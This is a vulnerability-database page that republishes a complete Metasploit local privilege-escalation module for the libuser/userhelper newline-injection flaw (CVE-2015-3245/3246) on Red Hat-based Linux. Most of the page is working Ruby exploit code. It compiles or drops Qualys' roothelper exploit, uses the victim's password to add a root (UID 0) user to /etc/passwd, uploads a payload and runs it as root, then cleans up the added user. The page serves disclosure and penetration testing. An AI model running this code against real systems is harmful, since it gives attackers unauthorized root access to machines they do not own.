Libuser roothelper Privilege Escalation

Credit: Brendan Coles
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

## # This module requires Metasploit: # Current source: ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Libuser roothelper Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on Red Hat based Linux systems, including RHEL, Fedora and CentOS, by exploiting a newline injection vulnerability in libuser and userhelper versions prior to 0.56.13-8 and version 0.60 before 0.60-7. This module makes use of the roothelper.c exploit from Qualys to insert a new user with UID=0 in /etc/passwd. Note, the password for the current user is required by userhelper. Note, on some systems, such as Fedora 11, the user entry for the current user in /etc/passwd will become corrupted and exploitation will fail. This module has been tested successfully on libuser packaged versions 0.56.13-4.el6 on CentOS 6.0 (x86_64); 0.56.13-5.el6 on CentOS 6.5 (x86_64); 0.60-5.el7 on CentOS 7.1-1503 (x86_64); 0.56.16-1.fc13 on Fedora 13 (i686); 0.59-1.fc19 on Fedora Desktop 19 (x86_64); 0.60-3.fc20 on Fedora Desktop 20 (x86_64); 0.60-6.fc21 on Fedora Desktop 21 (x86_64); 0.60-6.fc22 on Fedora Desktop 22 (x86_64); 0.56.13-5.el6 on Red Hat 6.6 (x86_64); and 0.60-5.el7 on Red Hat 7.0 (x86_64). RHEL 5 is vulnerable, however the installed version of glibc (2.5) is missing various functions required by roothelper.c. }, 'License' => MSF_LICENSE, 'Author' => [ 'Qualys', # Discovery and C exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Jul 24 2015', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'AKA', 'roothelper.c' ], [ 'EDB', '37706' ], [ 'CVE', '2015-3245' ], [ 'CVE', '2015-3246' ], [ 'BID', '76021' ], [ 'BID', '76022' ], [ 'URL', '' ], [ 'URL', '' ] ], 'DefaultTarget' => 0)) register_options ['COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),'PASSWORD', [ true, 'Password for the current user', '' ]),'WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def password datastore['PASSWORD'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def live_compile? compile = false if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' compile = true else unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end end compile end def check userhelper_path = '/usr/sbin/userhelper' unless setuid? userhelper_path vprint_error "#{userhelper_path} is not setuid" return CheckCode::Safe end vprint_good "#{userhelper_path} is setuid" unless command_exists? 'script' vprint_error "script is not installed. Exploitation will fail." return CheckCode::Safe end vprint_good 'script is installed' if cmd_exec('lsattr /etc/passwd').include? 'i' vprint_error 'File /etc/passwd is immutable' return CheckCode::Safe end vprint_good 'File /etc/passwd is not immutable' glibc_banner = cmd_exec 'ldd --version' glibc_version = glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first if glibc_version.to_s.eql? '' vprint_error 'Could not determine the GNU C library version' return CheckCode::Detected end # roothelper.c requires functions only available since glibc 2.6+ if glibc_version <'2.6') vprint_error "GNU C Library version #{glibc_version} is not supported" return CheckCode::Safe end vprint_good "GNU C Library version #{glibc_version} is supported" CheckCode::Detected end def exploit if check == CheckCode::Safe fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' # Upload Qualys' roothelper.c exploit: # - path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c' fd = path, 'rb' c_code = fd.stat.size fd.close upload "#{executable_path}.c", c_code output = cmd_exec "gcc -o #{executable_path} #{executable_path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{executable_path}.c failed to compile" end cmd_exec "chmod +x #{executable_path}" register_file_for_cleanup executable_path else vprint_status 'Dropping pre-compiled exploit on system...' # Cross-compiled with: # - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper' fd = path, 'rb' executable_data = fd.stat.size fd.close upload_and_chmodx executable_path, executable_data end # Run roothelper timeout = 180 print_status "Launching roothelper exploit (Timeout: #{timeout})..." output = cmd_exec "echo #{password.gsub(/'/, "\\\\'")} | #{executable_path}", nil, timeout output.each_line { |line| vprint_status line.chomp } if output =~ %r{Creating a backup copy of "/etc/passwd" named "(.*)"} register_file_for_cleanup $1 end if output =~ /died in parent: .*.c:517: forkstop_userhelper/ fail_with Failure::NoAccess, 'Incorrect password' end @username = nil if output =~ /Exploit successful, run "su ([a-z])" to become root/ @username = $1 end if @username.blank? fail_with Failure::Unknown, 'Something went wrong' end print_good "Success! User '#{@username}' added to /etc/passwd" # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Execute payload executable vprint_status 'Executing payload...' cmd_exec "script -c \"su - #{@username} -c #{payload_path}\" | sh & echo " register_file_for_cleanup 'typescript' end # # Remove new user from /etc/passwd # def on_new_session(session) new_user_removed = false if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' # Remove new user session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\"" # Wait for clean up Rex.sleep 5 # Check for new user in /etc/passwd passwd_contents ='/etc/passwd').read.to_s unless passwd_contents =~ /^#{@username}:/ new_user_removed = true end elsif session.type.to_s.eql? 'shell' # Remove new user session.shell_command_token "sed -i 's/^#{@username}:.*$//g' /etc/passwd" # Check for new user in /etc/passwd passwd_user = session.shell_command_token "grep '#{@username}:' /etc/passwd" unless passwd_user =~ /^#{@username}:/ new_user_removed = true end end unless new_user_removed print_warning "Could not remove user '#{@username}' from /etc/passwd" end rescue => e print_error "Error during cleanup: #{e.message}" ensure super end end


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018,


Back to Top